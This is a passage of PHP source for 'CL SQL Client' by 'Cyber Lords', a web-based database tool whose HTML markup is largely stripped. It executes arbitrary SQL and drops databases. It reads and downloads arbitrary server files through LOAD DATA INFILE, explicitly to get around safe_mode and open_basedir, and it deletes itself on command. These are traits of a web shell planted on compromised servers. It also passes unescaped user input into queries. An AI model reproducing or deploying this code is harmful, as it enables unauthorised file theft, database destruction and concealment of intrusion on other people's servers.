\n ".$lang[$language.'_text26']." Click"; } // Check Variables if(isset($dbtype)) { if($server) { $server = AlphanumericalClean($server); $baseurl .= "&server=".$server; } if($port) { $port = intval($port); $baseurl .= "&port=".AlphanumericalClean($port); } if(empty($login)) { $login = 'nobody'; } $login = AlphanumericalClean($login); $baseurl .= "&login=".$login; if($passwd) { $password = AlphanumericalClean($password); $baseurl .= "&password=".$password; } else { $baseurl .= "&password="; } if($db) { $db = AlphanumericalClean($db); $baseurl .= "&db=".$db; } $baseurl .= "&dbtype=".$dbtype; // Return identificator $id = sql_connect($server.":".$port, $login, $password, $db) or die("ERROR! Can't connect to SQL server"); } else { die("
\n\n\n \n\n

CL SQL Client Login

\n\n\n \n \n\n\n \n \n\n\n \n \n\n\n \n \n\n\n \n \n\n\n \n\n
Username:
Password:
Server IP:
Server Port:
SQL Server (type):
\n
\n
"); } //-------------------------------- // HTML header //-------------------------------- // echo "\n\n[ CL SQL Client ]\n\n\n\n\n".quicklaunch()."\n\n\n \n\n\n
".db_list($id)."\n
\n"; // Switching $act if($act == '00') { $sql = query($id, "SHOW VARIABLES"); echo "\n ".$lang[$language.'_text4']."\n
"; echo "\n\n\n \n \n"; while ($row = sql_fetch_assoc($sql)) { echo "\n\n \n \n"; } echo "\n
NameValue
".$row["Variable_name"]."".$row["Value"]."
\n"; @sql_free_result($sql); unset($sql); } elseif($act == '01') { $sql = query($id, "SHOW STATUS"); echo "\n ".$lang[$language.'_text3']."\n
"; echo "\n\n\n \n \n"; while ($row = sql_fetch_assoc($sql)) { echo "\n\n \n \n"; } echo "\n
NameValue
".$row["Variable_name"]."".$row["Value"]."
\n"; @sql_free_result($sql); unset($sql); } elseif($act == '02') { $quicklaunch = array ( array($lang[$language.'_text15'],$baseurl."&act=07"), array($lang[$language.'_text12'],$baseurl."&act=10&dump=db&db=".$db), array($lang[$language.'_text13'],"javascript: confirm_function('".$baseurl."&act=03&db=".$db."');"), ); echo "\n[ ".$lang[$language.'_text7'].": ".AlphanumericalClean($db)." ]

"; if (count($quicklaunch) > 0) { foreach($quicklaunch as $item) { echo "[ ".$item[0]." ] "; } } if (!sql_num_rows(query($id, "SHOW TABLES FROM `".AlphanumericalClean($db)."`"))) { // [-] if(sql_error()) { echo "\n

".sql_error()."
"; } else { echo "\n

Database ".AlphanumericalClean($db)." is empty
"; } } else { $sql = query($id, "SHOW TABLE STATUS FROM `".$db."`"); echo "\n

\n\n \n \n \n \n \n \n \n"; while ($row = @sql_fetch_assoc($sql)) { echo "\n\n \n \n \n \n \n \n \n \n \n"; } echo "\n
TableRowsTypeCreatedModifiedSizeQuick Action
".$row["Name"]."".$row["Rows"]." ".$row["Type"]."".$row["Create_time"]."".$row["Update_time"]."".formatsize($row["Avg_row_length"])."
\n"; @sql_free_result($sql); unset($sql); } } elseif($act == '03') { $sql = query($id, "DROP DATABASE `".AlphanumericalClean($db)."`"); if($sql) { echo "\n

Database ".AlphanumericalClean($db)." deleted successfully"; } @sql_free_result($sql); unset($sql); } elseif($act == '04') { if(!isset($new_db)) { echo "\n

".$lang[$language.'_text9']."
\n
\n\n\n\n\n\n\n".$lang[$language.'_text7'].": \n\n
"; } else { $sql = query($id, "CREATE DATABASE `".AlphanumericalClean($new_db)."`"); if($sql) { echo "\n

Database ".AlphanumericalClean($new_db)." created successfully"; } @sql_free_result($sql); unset($sql); } } elseif($act == '05') { echo "\n[ ".$lang[$language.'_text14'].": ".AlphanumericalClean($tbl)." ] [ ".$lang[$language.'_text7'].": ".AlphanumericalClean($db)." ]

"; $quicklaunch = array ( array($lang[$language.'_text16'],$baseurl."&act=05&tbl=".$tbl), array($lang[$language.'_text17'],$baseurl."&act=05&tbl=".$tbl."&CODE=00"), array($lang[$language.'_text18'],$baseurl."&act=05&tbl=".$tbl."&CODE=01"), array($lang[$language.'_text19'],$baseurl."&act=05&tbl=".$tbl."&CODE=04"), array($lang[$language.'_text20'],"javascript: confirm_function('".$baseurl."&act=05&tbl=".$tbl."&CODE=02');"), array($lang[$language.'_text21'],$baseurl."&act=10&dump=tbl&tbl=".$tbl), ); if (count($quicklaunch) > 0) { foreach($quicklaunch as $item) { echo "[ ".$item[0]." ] "; }; } if($CODE == '00' && isset($tbl)) { $sql = query($id, "SELECT * FROM `".AlphanumericalClean($tbl)."`"); if(!sql_num_rows($sql)) { echo "\n

Table is ampty"; } else { echo "\n

\n"; for( $i=0; $i < sql_num_fields($sql); $i++ ) { echo "\n "; } echo "\n \n"; while ($row = @sql_fetch_assoc($sql)) { $edit = ''; echo "\n"; foreach ($row as $key=>$value) { echo "\n "; } foreach ($row as $key=>$value) { $edit .= urlencode("`$key`='$value' AND "); } $pm = substr($edit,"",-5); echo "\n \n \n"; unset($edit); } echo "\n
".sql_field_name($sql,$i)."Action
".substr(htmlspecialchars($value), 0, 64)."
\n"; } @sql_free_result($sql); unset($sql); } elseif($CODE == '01') { if((isset($values)) && (count($values))) { foreach($values as $key=>$value) { $fields .= "`".$key."`, "; $val .= '"'.$value.'", '; } $sql = query($id, "INSERT INTO `".$tbl."` ( ".substr($fields,"",-2)." ) VALUES ( ".substr($val,"",-2)." ); "); if($sql) { echo "\n

New row successfull inserted into table [ ".AlphanumericalClean($tbl)." ]
(Last inserted record has id ".mysql_insert_id($id).")

"; } @sql_free_result($sql); unset($sql); } else { $sql = query($id, "DESC `".$tbl."`"); echo "\n

Insert row into table [ ".AlphanumericalClean($tbl)." ]
\n
\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n"; while ($row = sql_fetch_assoc($sql)) { $tmp = $row["Type"]." ".$row["Extra"]; echo "\n"; } echo "\n
FieldTypeValue
".$row["Field"]." ".$tmp."
\n\n
"; @sql_free_result($sql); unset($sql); } } elseif($CODE == '02') { $sql = query($id, "DROP TABLE `".AlphanumericalClean($tbl)."`"); if($sql) { echo "\n

Table ".AlphanumericalClean($tbl)." deleted successfully"; } @sql_free_result($sql); unset($sql); } elseif($CODE == '03') { if(count($values)) { foreach($values as $key=>$value) { $edit .= "`".$key."` = '".$value."', "; } $sql = query($id, "UPDATE `".AlphanumericalClean($tbl)."` SET ".substr($edit,"",-2)." WHERE ".stripslashes(urldecode($pm)).""); if($sql) { echo "\n

Successfull saved
"; } @sql_free_result($sql); unset($sql); } else { $sql = query($id, "SELECT * FROM `".AlphanumericalClean($tbl)."` WHERE $pm LIMIT 1"); echo "\n

Insert row into table [ ".AlphanumericalClean($tbl)." ]
\n
\n\n\n\n\n\n\n\n\n\n\n\n \n \n"; while ($row = sql_fetch_assoc($sql)) { foreach($row as $key=> $value) { echo "\n"; } } echo "\n
FieldValue
".$key."
\n\n
\n"; @sql_free_result($sql); unset($sql); } } elseif($CODE == '04') { if(count($values) && isset($values)) { foreach($values as $key=>$value) { $edit .= " MODIFY `".$key."` ".$value.", "; } $sql = query($id, "ALTER TABLE `".AlphanumericalClean($tbl)."` ".substr(stripslashes($edit),"",-2)."; "); if($sql) { echo "\n

Successfull saved
"; } @sql_free_result($sql); unset($sql); } else { $sql = query($id, "DESC `".AlphanumericalClean($tbl)."`"); echo "\n

Alter table [ ".AlphanumericalClean($tbl)." ]
\n
\n\n \n \n"; while ($row = sql_fetch_assoc($sql)) { $tmp = $row["Type"]." ".$row["Extra"]; echo "\n\n \n \n"; unset($tmp); } echo "\n
FieldType
".$row["Field"]."
\n\n"; } } else { $quicklaunch = array( array("Add new column",$baseurl."&act=05&tbl=".$tbl), ); $sql = query($id, "DESC `".AlphanumericalClean($tbl)."`"); if(!sql_num_fields($sql)) { echo "\n

Table is ampty"; } else { echo "\n

Структура таблицы [ ".AlphanumericalClean($tbl)." ]\n
\n\n\n \n \n \n \n \n \n \n"; while ($row = sql_fetch_assoc($sql)) { echo "\n"; foreach ($row as $field =>$value) { echo "\n "; } echo "\n "; } echo "\n
FieldTypeNULLKeyDefaultExtraAction
".$value."
"; } // if (count($quicklaunch) > 0) {foreach($quicklaunch as $item) {$str .= "[ ".$item[0]." ] ";};} [-] @sql_free_result($sql); unset($sql); } } elseif($act == '06') { $sql = query($id, "DROP TABLE `".AlphanumericalClean($tbl)."`"); if($sql) { echo "\n

Table ".AlphanumericalClean($tbl)." deleted successfully"; } @sql_free_result($sql); unset($sql); } elseif($act == '07') { if(!isset($new_tbl)) { echo "\n

Create new Table
\n\n\n\n\n\n\n\n\nTable name: \n
Table rows: \n
\n
"; } else { if(!isset($field_name)) { if(!isset($rows)) { echo "Введите кол-во строк"; exit; } echo "\n

Create new Table
\n
\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n \n \n \n \n"; for($i=0; $i < $rows; $i++) { echo "\n\n \n \n \n \n \n \n"; } echo "\n
FieldTypeLengthAtributesNULLDefailtDOPKEYS
\n
\n
"; } else { for($q=0; $q < count($field_name); $q++) { if($field_name[$q]) { $value .= " `".$field_name[$q]."`"; } if($field_length[$q]) { $field_length[$q] = "( ".$field_length[$q] ." )"; } if($field_type[$q]) { $value .= " ".$field_type[$q].$field_length[$q]; } if($field_attribute[$q]) { $value .= " ".htmlspecialchars($field_attribute[$q]); } if($field_null[$q]) { $value .= " ".htmlspecialchars($field_null[$q]); } if($field_default[$q]) { $value .= " DEFAULT '".htmlspecialchars($field_default[$q])."'" ; } $value .= ", "; } $sql = query($id, "CREATE TABLE `".AlphanumericalClean($new_tbl)."` ( ".$value." )"); if($sql) { echo "\n

Table ".AlphanumericalClean($new_tbl)." created successfully"; } else { echo "\n

Table ".AlphanumericalClean($new_tbl)." not created"; } @sql_free_result($sql); unset($sql); } } } elseif($act == '08') { if(isset($pid)) { if(!is_numeric(AlphanumericalClean($pid))) { echo "\nWarning!!! Bad proccess ID format"; } $sql = query($id, "KILL ".AlphanumericalClean($pid)); if($sql) { echo "


Process #: ".intval($pid)." successfull killed"; } @sql_free_result($sql); unset($sql); } $sql = sql_list_processes($id); echo "".$lang[$language.'_text5']."
"; echo "\n\n"; for($i=0; $i < sql_num_fields($sql); $i++) { echo "\n "; } echo "\n \n"; while($row = sql_fetch_assoc($sql) ) { echo "\n"; } echo "\n
".sql_field_name($sql,$i)."Action
".$row["Id"]." ".$row["User"]." ".$row["Host"]." ".$row["db"]." ".$row["Command"]." ".$row["Time"]." ".$row["State"]." ".$row["Info"]."
\n"; @sql_free_result($sql); unset($sql); } elseif($act == '09') { if(isset($query)) { $sql = query($id, $query); if($sql) { if(!is_resource($sql)) { echo "
Query successfull send

[ Affected rows: ".sql_affected_rows()." ]
"; } else { echo "
Query successfull execute

"; for( $i=0; $i < sql_num_fields($sql); $i++ ) { echo " "; } echo ""; while ($row = @sql_fetch_assoc($sql)) { echo ""; foreach ($row as $key=>$value) { echo " "; } echo ""; } echo "
".sql_field_name($sql,$i)."
".htmlspecialchars($value)."
"; } } } else { echo " ".$lang[$language.'_text2']."


"; } @sql_free_result($sql); unset($sql); } elseif($act == '10') { switch($dump) { case "db": echo (dump_db($id, $db, & $type)); break; case "tbl": echo (dump_tbl($id, $tbl, & $type)); break; // Other variants default: echo "

Warning!!!Unknown dump format"; break; } } elseif($act == '11') { if(isset($file) && !empty($file)) { if(file_exists($file) and is_readable($file)) { $tmptbl = rand(); query($id, 'CREATE TABLE `'.$tmptbl.'` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );'); query($id, "LOAD DATA INFILE \"".addslashes($file)."\" INTO TABLE `".$tmptbl."`"); $sql = query($id, "SELECT * FROM `".$tmptbl."`"); if(sql_num_rows($sql)) { for ($i=0; $i < sql_num_fields($sql);$i++){ $field_name = sql_field_name($sql,$i); } echo "\n\n \n\n\n \n\n\n
".$field_name."
"; while ($row = sql_fetch_array($sql)) { foreach ($row as $key =>$value) { echo htmlspecialchars($value)."
"; } } @sql_free_result($sql); unset($sql); echo " \n
"; } else { echo "

".$lang[$language.'_text28']."
"; } } else { echo "

".$lang[$language.'_text27']."
"; } } else { echo "\n ".$lang[$language.'_text11']."\n

\n
\n\n\n\n\n\n\nПолный путь к файлу:
"; } } elseif($act == '12') { if(isset($file) && !empty($file)) { if(file_exists($file) and is_readable($file)) { downloadfile($file); } else { echo "

".$lang[$language.'_text27']."
"; } } else { echo "\n ".$lang[$language.'_text26']."\n

\n
\n\n\n\n\n\n\nПолный путь к файлу:
"; } } elseif($act == '13') { if(isset($rnd) && $rnd == $rndcode) { if (unlink(__FILE__)) { @ob_clean(); die( $lang[$language.'_text31'] ); } else { echo "
Can't delete ".__FILE__."!
"; } } else { $rnd = rand(0,9).rand(0,9).rand(0,9).rand(0,9); echo "

Self-remove: ".__FILE__."
For confirmation, enter \"".$rnd."\":  
"; } } elseif($act == '14') { @ob_clean(); die(phpinfo()); } else { echo "\n ".$lang[$language.'_text29']."\n
"; foreach(server_info() as $key=>$value) { echo "\n\n \n \n"; } echo "\n
".$key.":".$value."
"; } //-------------------------------- // HTML (footer) //-------------------------------- // echo "

\n
\n
\n\n \n\n
--[ Copyright © Cyber Lords | CL SQL Client ".$version." | All bugs send to ICQ #899125 | Generation time: ".round(get_micro_time()-start_time,4)." ]--
\n\n"; // Stop Buffering @ob_end_flush(); ?>